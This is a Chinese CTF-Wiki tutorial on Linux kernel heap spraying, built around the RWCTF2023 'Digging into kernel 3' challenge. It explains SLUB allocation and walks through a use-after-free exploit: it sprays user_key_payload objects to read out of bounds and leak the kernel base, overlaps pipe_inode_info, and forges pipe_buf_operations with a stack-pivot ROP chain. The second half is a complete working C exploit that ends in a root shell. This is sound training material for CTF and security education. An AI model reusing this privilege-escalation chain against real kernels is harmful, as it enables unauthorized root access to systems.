CTF-Wiki 内核堆利用：堆喷射（Heap Spray）实战解析——以 RWCTF2023 Digging into kernel 3 为例

文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载本文是 CTF-Wiki 内核堆利用系列中针对堆喷射heap spraying手法的专题讲解。堆喷射是一类「通过大量分配相同结构体以达成特定内核堆内存布局」的辅助攻击技术常用于解决 UAF 对象难以回收、堆布局不可知等场景。本文以 RWCTF2023 体验赛题目Digging into kernel 3为完整案例结合仓库内 SLUB 分配器概述、内核堆利用前置知识 等资料从漏洞分析、堆喷思路到完整 EXP 展开读者读完后可以掌握一条「堆喷user_key_payload完成越界读泄露内核基址 → UAF 构造管道结构体重叠 → 伪造pipe_buf_operations函数表劫持控制流」的完整内核提权链路。什么是堆喷射辅助攻击手法的定位堆喷射heap spraying指的是一种辅助攻击手法通过大量分配相同的结构体来达成某种特定的内存布局从而帮助攻击者完成后续的利用过程。它并不直接构成漏洞利用而是为其他原语如 UAF、堆溢出读/写创造条件常见于如下场景UAF 对象难以直接回收你有一个 UAF但是无法通过少量内存分配拿到该结构体。例如该 object 不属于当前 freelist 且释放后会回到 node 上或是像add_key()那样会被一直卡在第一个临时结构体上此时可以通过堆喷射来确保拿到该 object。堆布局不可知时的溢出定向你有一个堆溢出读/写但是堆布局对你而言是不可知的比如说开启了SLAB_FREELIST_RANDOM该保护默认开启此时可以预先喷射大量特定结构体从而保证对其中某个结构体的溢出命中。作为一种辅助的攻击手法堆喷射可以被应用在多种场景下是内核堆利用中最基础也最重要的技巧之一。堆喷射的底层基础理解 SLUB 分配器要理解堆喷射为什么有效需要先了解它作用的对象——SLUB 分配器。内核堆利用相关背景可参见仓库中的 内核堆概述 与 SLUB 前置知识这里仅提炼与堆喷直接相关的要点slub 与 objectslub allocator 每次向 buddy system 请求单张/多张连续内存页后将其分割为多个同等大小的对象object每个 slub 上的空闲对象组成一个以 NULL 结尾的单向链表freelist。一个 slub 中通常容纳有限数量的 object例如kmalloc-192的 slub 上只有 21 个对象这也是后文 EXP 中喷射数量定为 40 的原因。kmem_cache_cpu与kmem_cache_node每个kmem_cache由两个模块组成——kmem_cache_cpupercpu 变量当前核心正在使用的 slub分配时无需加锁与kmem_cache_nodeslub 集散中心维护 partial / full 链表。分配时优先从kmem_cache_cpu取对象耗尽后从 partial 链表取 slubpartial 也空了则向 buddy system 请求新内存页。释放时属于当前 CPU slub 的对象会被头插回 freelist属于 partial 链表上 slub 的对象会被头插到对应 slub 的 freelistfull slub 释放对象后则会回到 partial 链表。绑核的必要性slub allocator 优先从当前核心的kmem_cache_cpu分配多核调度会让 EXP 进程在不同核心间漂移导致分配来自不同的kmem_cache_cpu利用模型变得复杂、成功率下降。因此将进程绑定到特定 CPU 核心是内核堆利用的标准前置操作模板可见 内核 UAF 一文#include sched.h /* to run the exp on the specific core only */ void bind_cpu(int core) { cpu_set_t cpu_set; CPU_ZERO(cpu_set); CPU_SET(core, cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), cpu_set); printf(\033[34m\033[1m[*] Process binded to core \033[0m%d\n, core); }GFP_KERNEL与GFP_KERNEL_ACCOUNT的隔离问题GFP_KERNEL_ACCOUNT比GFP_KERNEL多启用一个 bit___GFP_ACCOUNT_BIT。当内核开启CONFIG_MEMCG_KMEM默认开启时使用GFP_KERNEL_ACCOUNT的通用对象会从独立的kmalloc-cg-*缓存中分配与使用GFP_KERNEL的对象相互隔离反之若关闭CONFIG_MEMCG_KMEM两者等价、都从同一个kmalloc-xx分配。这一点直接影响后续堆喷能否跨结构体完成重叠详见题目分析中对出题人关闭该选项的说明。理解了以上机制堆喷射的本质就很清晰了通过大量同尺寸、同 flag 的分配把 freelist 的排列刷成攻击者期望的顺序从而把 UAF 指针稳定地嫁接到目标结构体上。例题RWCTF2023 体验赛 - Digging into kernel 3本篇为了介绍堆喷射这一手法同时为了使用更多不同的结构体笔者会用比较复杂的思路去解题而非走最短路径。题目分析按惯例查看启动脚本发现开启了 SMEP、SMAP、KASLR、KPTI#!/bin/sh qemu-system-x86_64 \ -m 128M \ -nographic \ -kernel ./bzImage \ -initrd ./rootfs.img \ -enable-kvm \ -cpu kvm64,smap,smep \ -monitor /dev/null \ -append consolettyS0 kaslr kpti1 quiet oopspanic panic1 init/init \ -no-reboot \ -snapshot \ -s文件系统里给了一个rwctf.ko拖入 IDA 进行分析发现只定义了一个 ioctl提供了两个功能0xDEADBEEF分配一个任意大小的 object 并写入数据分配 flag 为__GFP_ZERO | GFP_KERNEL不过我们只能同时有两个 objectidx 仅 0/1。0xC0DECAFE释放一个之前分配的 object存在 UAF释放后未清除对应指针。下图为rwctf.ko中 ioctl 处理函数的 IDA 反汇编结果可见0xC0DECAFE分支在copy_from_user拷贝 16 字节参数后直接释放buf[v8]指向的内核堆内存而0xDEADBEEF分支则以标志3520即GFP_KERNEL | __GFP_ZERO分配内核堆内存并拷贝用户数据我们需要传入如下结构体struct node { uint32_t idx; uint32_t size; void *buf; };经过笔者测试出题人手动关闭了如下默认开启的保护出题人为了降低题目难度可能关的更多笔者只测了这几个关闭了CONFIG_MEMCG_KMEM这使得GFP_KERNEL与GFP_KERNEL_ACCOUNT会从同样的kmalloc-xx中进行分配从而允许user_key_payload等GFP_KERNEL_ACCOUNT对象与题目分配的GFP_KERNEL对象互相重叠。关闭了CONFIG_RANDOMIZE_KSTACK_OFFSET这使得固定函数调用到内核栈底的偏移值是不变的便于精确定位栈迁移后的 ROP 布局。关闭了SLAB_FREELIST_HARDENED这使得 freelist 几乎没有任何保护可以轻易完成任意地址分配 任意地址读写。不过在笔者看来出题人其实没有必要自降难度下面笔者将给出在这三种保护开启时也能完成利用的方法)漏洞利用既然题目中已经直接白给了一个无限制的 UAF那么利用方式就是多种多样的了。这里笔者选择使用user_key_payload结构体来完成利用——它是内核密钥管理子系统中用来存放密钥内容的对象与msg_msg类似拥有固定大小的头部、其余空间存储来自用户空间的数据且分配 flag 为GFP_KERNEL是与题目对象进行堆重叠的理想目标。Step.I - 堆喷 user_key_payload 越界读泄露内核基地址在内核当中存在一个用于密钥管理的子系统内核提供了add_key()系统调用进行密钥的创建并提供了keyctl()系统调用进行密钥的读取、更新、销毁等功能#include sys/types.h #include keyutils.h key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t keyring); //... #include asm/unistd.h #include linux/keyctl.h #include unistd.h long syscall(__NR_keyctl, int operation, __kernel_ulong_t arg2, __kernel_ulong_t arg3, __kernel_ulong_t arg4, __kernel_ulong_t arg5);当我们调用add_key()分配一个带有description字符串的、类型为user的、长度为plen的内容为payload的密钥时内核会经历如下过程首先在内核空间分配 obj1 与 obj2分配 flag 为GFP_KERNEL用以保存description字符串最大大小 4096与payload普通数据大小无限制。分配 obj3 保存description分配 obj4 保存payload分配 flag 皆为GFP_KERNEL。释放 obj1 与 obj2返回密钥 id。其中 obj4 为一个user_key_payload结构体定义如下struct user_key_payload { struct rcu_head rcu; /* RCU destructor */ unsigned short datalen; /* length of this data */ char data[] __aligned(__alignof__(u64)); /* actual data */ }; //... struct callback_head { struct callback_head *next; void (*func)(struct callback_head *head); } __attribute__((aligned(sizeof(void *)))); #define rcu_head callback_head类似于msg_msguser_key_payload结构体有一个固定大小的头部rcu_head占 16 字节 datalen占 2 字节其余空间用来存储来自用户空间的数据密钥内容。keyctl()系统调用为我们提供了读取、更新分配新对象、释放旧对象、销毁密钥释放 payload的功能其中读取的最大长度由user_key_payload-datalen决定。我们不难想到可以利用题目提供的 UAF 将user_key_payload-datalen改大从而完成越界读。注意以下两点这里的 description 字符串需要和 payload 有着不同的长度从而简化利用模型。读取 key 时的 len 应当不小于user_key_payload-datalen否则会读取失败这正是后文 EXP 中以0x4000作为读取长度的原因。但是这里有一个问题add_key()会先分配一个临时的 obj1 拷贝 payload之后再分配一个 obj2 作为user_key_payload。若我们先分配一个 obj 并释放后再调用add_key()则该 obj 不会直接成为user_key_payload而是会在后续的数次分配中都作为拷贝 payload 的临时 obj 存在——这正是堆喷射派上用场的场景。我们可以通过堆喷将 UAF obj 分配到user_key_payload考虑如下流程利用题目功能构建 UAF object。堆喷射user_key_payloadUAF obj 作为拷贝 payload 的临时 obj 存在。kmem_cache_cpu的 slub page 耗光向 node 请求新的 slub page 分配user_key_payload完成后 UAF obj 被释放并回到kmem_cache_node。继续堆喷user_key_payloadkmem_cache_cpu的 slub page 耗光向 node 请求新的 slub page 分配user_key_payload。UAF obj 所在页面被取回UAF obj 被分配为user_key_payload。利用题目功能再次释放 UAF obj利用题目功能进行堆喷获取到该 obj从而覆写user_key_payload。注官方题解中进行地址泄露也是利用类似的做法。不过笔者觉得其实直接利用题目分配 obj1 和 obj2 后全部释放之后再在 obj2 上弄 UAF 就行了) 这里采用这种做法只是为了介绍 heap spraying 这一手法。笔者将在 Step.II 中使用这种方法。接下来考虑越界读取什么数据。这里我们并不需要分配其他的结构体rcu_head-func函数指针在 rcu 对象被释放后才会被写入并调用但调用完并不会将其置为 NULL。因此我们可以通过释放密钥keyctl(KEYCTL_REVOKE)的方式在内核堆上留下内核函数指针再借助越界读扫描该指针从而完成内核基址的泄露——EXP 中正是以USER_FREE_PAYLOAD_RCUuser_free_payload_rcu回调函数的地址为锚点用(buf[i] 0xfff) 0x210的特征页内偏移来定位内核指针并计算基址偏移。Step.II - UAF 泄露可控堆对象地址篡改 pipe_buffer 劫持控制流可以用来控制内核执行流的结构体有很多但我们需要考虑如何完整地执行commit_creds(prepare_kernel_cred(NULL))后再成功返回用户态因此需要进行栈迁移以布置较为完整的 ROP gadget chain。由于题目开启了 SMEP、SMAP 保护因此我们只能在内核空间伪造函数表同时内核中的大部分结构体的函数表为静态指定例如tty-ops总是ptm或pty_unix98_ops因此我们还需要知道一个内容可控的内核对象地址从而在内核空间中伪造函数表。这里笔者选择管道相关的结构体完成利用。在内核中管道本质上是创建了一个虚拟的 inode来表示的对应的就是一个pipe_inode_info结构体struct pipe_inode_info { struct mutex mutex; wait_queue_head_t rd_wait, wr_wait; unsigned int head; unsigned int tail; unsigned int max_usage; unsigned int ring_size; #ifdef CONFIG_WATCH_QUEUE bool note_loss; #endif unsigned int nr_accounted; unsigned int readers; unsigned int writers; unsigned int files; unsigned int r_counter; unsigned int w_counter; struct page *tmp_page; struct fasync_struct *fasync_readers; struct fasync_struct *fasync_writers; struct pipe_buffer *bufs; struct user_struct *user; #ifdef CONFIG_WATCH_QUEUE struct watch_queue *watch_queue; #endif };同时内核中会分配一个pipe_buffer结构体数组每个pipe_buffer结构体对应一张用以存储数据的内存页struct pipe_buffer { struct page *page; unsigned int offset, len; const struct pipe_buf_operations *ops; unsigned int flags; unsigned long private; };pipe_buf_operations为一张函数表当我们对管道进行特定操作时内核便会调用该表上对应的函数例如当我们关闭了管道的两端时会触发pipe_buffer-pipe_buf_operations-release这一指针由此我们便能控制内核执行流从而完成提权struct pipe_buf_operations { //... /* * When the contents of this pipe buffer has been completely * consumed by a reader, -release() is called. */ void (*release)(struct pipe_inode_info *, struct pipe_buffer *);那么这里我们可以利用 UAF 使得user_key_payload与pipe_inode_info占据同一个 objectpipe_inode_info中恰好有一些字段会被写入如head/tail/ring_size等其中某字段的值正好落在user_key_payload-datalen的偏移上将其改为0xFFFF使得我们能够继续读取数据超过原先的 datalen 限制从而读取pipe_inode_info以泄露出其bufs字段——即pipe_buffer数组的地址。而pipe_buffer是动态分配的大小 1024对应kmalloc-1k因此我们可以利用题目功能预先分配一个对象作为pipe_buffer并直接在其上伪造函数表即可利用 UAF 在分配pipe_buffer之前预先占用该 object 并写入伪造的pipe_buf_operations函数表ops字段指向pipe_buffer_addr 0x18即同一 object 上偏移 0x18 处随后触发release()完成 ROP 提权并返回用户态执行 root shell。对于笔者来说比较麻烦的倒是找栈迁移的 gadget...好在最后还是成功找到了一些合适的 gadget。EXPLOIT最后基于上述思路的完整 EXP 如下关键步骤已附带注释#define _GNU_SOURCE #include sys/types.h #include sys/ioctl.h #include sys/prctl.h #include sys/syscall.h #include sys/mman.h #include sys/wait.h #include stdio.h #include signal.h #include pthread.h #include unistd.h #include stdlib.h #include string.h #include fcntl.h #include ctype.h #include stdint.h /** * Utilities */ size_t kernel_base 0xffffffff81000000, kernel_offset 0; void err_exit(char *msg) { printf(\033[31m\033[1m[x] Error at: \033[0m%s\n, msg); sleep(5); exit(EXIT_FAILURE); } /* root checker and shell poper */ void get_root_shell(void) { if(getuid()) { puts(\033[31m\033[1m[x] Failed to get the root!\033[0m); sleep(5); exit(EXIT_FAILURE); } puts(\033[32m\033[1m[] Successful to get the root. \033[0m); puts(\033[34m\033[1m[*] Execve root shell now...\033[0m); system(/bin/sh); /* to exit the process normally, instead of segmentation fault */ exit(EXIT_SUCCESS); } /* userspace status saver */ size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { asm volatile(mov user_cs, cs; mov user_ss, ss; mov user_sp, rsp; pushf; pop user_rflags; ); puts(\033[34m\033[1m[*] Status has been saved.\033[0m); } /* bind the process to specific core */ void bind_core(int core) { cpu_set_t cpu_set; CPU_ZERO(cpu_set); CPU_SET(core, cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), cpu_set); printf(\033[34m\033[1m[*] Process binded to core \033[0m%d\n, core); } /** * Syscall keyctl() operator */ #define KEY_SPEC_PROCESS_KEYRING -2 /* - key ID for process-specific keyring */ #define KEYCTL_UPDATE 2 /* update a key */ #define KEYCTL_REVOKE 3 /* revoke a key */ #define KEYCTL_UNLINK 9 /* unlink a key from a keyring */ #define KEYCTL_READ 11 /* read a key or keyrings contents */ int key_alloc(char *description, void *payload, size_t plen) { return syscall(__NR_add_key, user, description, payload, plen, KEY_SPEC_PROCESS_KEYRING); } int key_update(int keyid, void *payload, size_t plen) { return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen); } int key_read(int keyid, void *buffer, size_t buflen) { return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen); } int key_revoke(int keyid) { return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0); } int key_unlink(int keyid) { return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING); } /** * Challenge interactiver */ /* kmalloc-192 has only 21 objects on a slub, we dont need to spray to many */ #define KEY_SPRAY_NUM 40 #define PIPE_INODE_INFO_SZ 192 #define PIPE_BUFFER_SZ 1024 #define USER_FREE_PAYLOAD_RCU 0xffffffff813d8210 #define PREPARE_KERNEL_CRED 0xffffffff81096110 #define COMMIT_CREDS 0xffffffff81095c30 #define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81e00ed0 #define PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET 0xffffffff81250c9d #define POP_RBX_POP_RBP_POP_R12_RET 0xffffffff81250ca4 #define POP_RDI_RET 0xffffffff8106ab4d #define XCHG_RDI_RAX_DEC_STH_RET 0xffffffff81adfc70 int dev_fd; struct node { uint32_t idx; uint32_t size; void *buf; }; /** * brief allocate an object bby kmalloc(size, __GFP_ZERO | GFP_KERNEL ) * __GFP_RECLAIM __GFP_KSWAPD_RECLAIM | __GFP_DIRECT_RECLAIM * GFP_KERNEL __GFP_RECLAIM | __GFP_IO | __GFP_FS * * param idx * param size * param buf */ void alloc(uint32_t idx, uint32_t size, void *buf) { struct node n { .idx idx, .size size, .buf buf, }; ioctl(dev_fd, 0xDEADBEEF, n); } void del(uint32_t idx) { struct node n { .idx idx, }; ioctl(dev_fd, 0xC0DECAFE, n); } /** * Exploit stage */ int main(int argc, char **argv, char **envp) { size_t *buf, pipe_buffer_addr; int key_id[KEY_SPRAY_NUM], victim_key_idx -1, pipe_key_id; char desciption[0x100]; int pipe_fd[2]; int retval; /* fundamental works */ bind_core(0); save_status(); buf malloc(sizeof(size_t) * 0x4000); dev_fd open(/dev/rwctf, O_RDONLY); if (dev_fd 0) { err_exit(FAILED to open the /dev/rwctf file!); } /* construct UAF on user_key_payload */ puts([*] construct UAF obj and spray keys...); alloc(0, PIPE_INODE_INFO_SZ, buf); del(0); for (int i 0; i KEY_SPRAY_NUM; i) { snprintf(desciption, 0x100, %s%d, arttnba, i); key_id[i] key_alloc(desciption, buf, PIPE_INODE_INFO_SZ - 0x18); if (key_id[i] 0) { printf([x] failed to alloc %d key!\n, i); err_exit(FAILED to add_key()!); } } del(0); /* corrupt user_key_payloads header */ puts([*] corrupting user_key_payload...); buf[0] 0; buf[1] 0; buf[2] 0x2000; for (int i 0; i (KEY_SPRAY_NUM * 2); i) { alloc(0, PIPE_INODE_INFO_SZ, buf); } /* check for oob-read and leak kernel base */ puts([*] try to make an OOB-read...); for (int i 0; i KEY_SPRAY_NUM; i) { if (key_read(key_id[i], buf, 0x4000) PIPE_INODE_INFO_SZ) { printf([] found victim key at idx: %d\n, i); victim_key_idx i; } else { key_revoke(key_id[i]); } } if (victim_key_idx -1) { err_exit(FAILED at corrupt user_key_payload!); } kernel_offset -1; for (int i 0; i 0x2000 / 8; i) { if (buf[i] kernel_base (buf[i] 0xfff) 0x210) { kernel_offset buf[i] - USER_FREE_PAYLOAD_RCU; kernel_base kernel_offset; break; } } if (kernel_offset -1) { err_exit(FAILED to leak kernel addr!); } printf(\033[34m\033[1m[*] Kernel offset: \033[0m0x%lx\n, kernel_offset); printf(\033[32m\033[1m[] Kernel base: \033[0m0x%lx\n, kernel_base); /* construct UAF on pipe_inode_buffer to leak pipe_buffers addr */ puts([*] construct UAF on pipe_inode_info...); /* 0-1-..., the 1 will be the payload object */ alloc(0, PIPE_INODE_INFO_SZ, buf); alloc(1, PIPE_INODE_INFO_SZ, buf); del(1); del(0); pipe_key_id key_alloc(arttnba3pipe, buf, PIPE_INODE_INFO_SZ - 0x18); del(1); /* this object is for the pipe buffer */ alloc(0, PIPE_BUFFER_SZ, buf); del(0); pipe(pipe_fd); /* note that the user_key_payload-datalen is 0xFFFF now */ retval key_read(pipe_key_id, buf, 0xffff); pipe_buffer_addr buf[16]; /* pipe_inode_info-bufs */ printf(\033[32m\033[1m[] Got pipe_buffer: \033[0m0x%lx\n, pipe_buffer_addr); /* construct fake pipe_buf_operations */ memset(buf, A, sizeof(buf)); buf[0] *(size_t*) arttnba3; buf[1] *(size_t*) arttnba3; buf[2] pipe_buffer_addr 0x18; /* pipe_buffer-ops */ /* after release(), we got back here */ buf[3] kernel_offset POP_RBX_POP_RBP_POP_R12_RET; /* pipe_buf_operations-release */ buf[4] kernel_offset PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET; buf[5] *(size_t*) arttnba3; buf[6] *(size_t*) arttnba3; buf[7] kernel_offset POP_RDI_RET; buf[8] (size_t) NULL; buf[9] kernel_offset PREPARE_KERNEL_CRED; buf[10] kernel_offset XCHG_RDI_RAX_DEC_STH_RET; buf[11] kernel_offset COMMIT_CREDS; buf[12] kernel_offset SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0x31; buf[13] *(size_t*) arttnba3; buf[14] *(size_t*) arttnba3; buf[15] (size_t) get_root_shell; buf[16] user_cs; buf[17] user_rflags; buf[18] user_sp 8; /* system() wants it : ( */ buf[19] user_ss; del(0); alloc(0, PIPE_BUFFER_SZ, buf); /* trigger pipe_buf_operations-release */ puts([*] trigerring pipe_buf_operations-release()...); close(pipe_fd[1]); close(pipe_fd[0]); return 0; }对 EXP 关键流程的解读前置工作bind_core(0)将进程绑定到 core 0配合 slub 的kmem_cache_cpu模型保证堆操作可预期save_status()保存用户态寄存器以备 ROP 返回。构建 UAF 堆喷alloc(0, 192, buf)后del(0)产生一个 192 大小的 UAF 对象随后连续key_alloc()喷射 40 个user_key_payloadpayload 大小192 - 0x18与user_key_payload的 24 字节头部对齐使分配落在kmalloc-192。由于add_key()总是先分配临时 obj 拷贝 payloadUAF 对象会先被当作临时 obj随着喷射耗尽 CPU slub 页面、向 node 请求新页面UAF 对象最终被分配为user_key_payload对应前面分析的堆喷流程。覆写 datalen 完成越界读再次del(0)释放该对象随后循环alloc(0, 192, buf)重新拿回该对象写入buf[2] 0x2000将user_key_payload-datalen改为 0x2000然后以key_read(key, buf, 0x4000)逐个试探读取长度不小于 datalen 才成功命中后扫描越界数据中的内核指针(buf[i] 0xfff) 0x210为user_free_payload_rcu的特征偏移减去USER_FREE_PAYLOAD_RCU得到kernel_offset与kernel_base。重叠 pipe_inode_infoalloc(0)/alloc(1)后全部释放再key_alloc让user_key_payload占用 obj1随后del(1)制造第二个 UAFalloc(0, 1024)del(0)预备pipe_buffer对象pipe()创建管道后pipe_inode_info恰好落在被 UAF 的 obj1 上其写入的字段使user_key_payload-datalen变为 0xFFFF此时key_read(..., 0xffff)即可读出整个pipe_inode_infobuf[16]bufs字段即为pipe_buffer数组地址。伪造函数表 栈迁移 ROP在buf中构造 fakepipe_buf_operationspipe_buffer-ops指向pipe_buffer_addr 0x18其中release槽位填入PUSH_RSI_POP_RSP...gadget——release()被调用时rsi恰好指向pipe_buffer结构体该 gadget 先将rsi压栈再弹入rsp实现把栈迁移到pipe_buffer_addr处的 ROP 链随后依次POP_RDI_RET; NULL; PREPARE_KERNEL_CRED、XCHG_RDI_RAX...、COMMIT_CREDS完成commit_creds(prepare_kernel_cred(NULL))最后通过SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0x31连同保存的user_cs/user_rflags/user_sp/user_ss优雅返回用户态执行get_root_shell()。触发del(0)释放 1024 对象后alloc(0, 1024, buf)使其成为pipe_buffer再close(pipe_fd[1])/close(pipe_fd[0])关闭管道两端触发pipe_buf_operations-release()完成提权。小结与相关阅读本文以 RWCTF2023 Digging into kernel 3 为例完整演示了堆喷射在内核利用中的两种典型价值让 UAF 指针稳定回收目标结构体将user_key_payload喷到 UAF 对象上与在不可知布局中制造可控重叠user_key_payload与pipe_inode_info同占一个 object。整条利用链还综合了越界读泄露内核基址、rcu_head-func内核指针残留、pipe_buffer动态分配与函数表伪造、栈迁移 ROP 等多个经典内核利用技巧。堆喷射之外SLUB 利用还有不少相关手法可以继续阅读本仓库中的以下篇章内核堆概述页/区/节点、buddy system 与 slab/slob/slubSLUB 前置知识绑核、GFP 分配 flag 与 slub 合并/隔离内核 UAF垂悬指针利用与绑核模板freelist 劫持覆写 next 指针实现任意地址分配赞分享文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载相关推荐Anthropic-Cybersecurity-Skills 实战用 Volatility3 在内存转储中检测与分析堆喷射Heap Spray利用Anthropic Cybersecurity Skills 实战用 Volatility3 在内存转储中检测与分析堆喷射Heap Spray利用 堆喷射网络安全AI 技能/插件渗透测试红蓝对抗cann/asc-devkit连续对齐搬出API连续对齐搬出a nameZH CN_TOPIC_0000001929071462 /a 产品支持情况a namesection155053241文档网络安全教程用 FastGPT 从零搭建智能采购系统供应商评估、动态比价与价格预警实操教程用 FastGPT 从零搭建智能采购系统供应商评估、动态比价与价格预警实操教程 某个周三上午采购专员小林收到三家供应商发来的同一批物料的报价格式各不相同文档网络安全教程上一篇CANN/asc-devkit矩阵转置优化示例下一篇打造高效工作流gh_mirrors/ci/cinnamon-spices-applets生产力工具推荐与配置指南创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考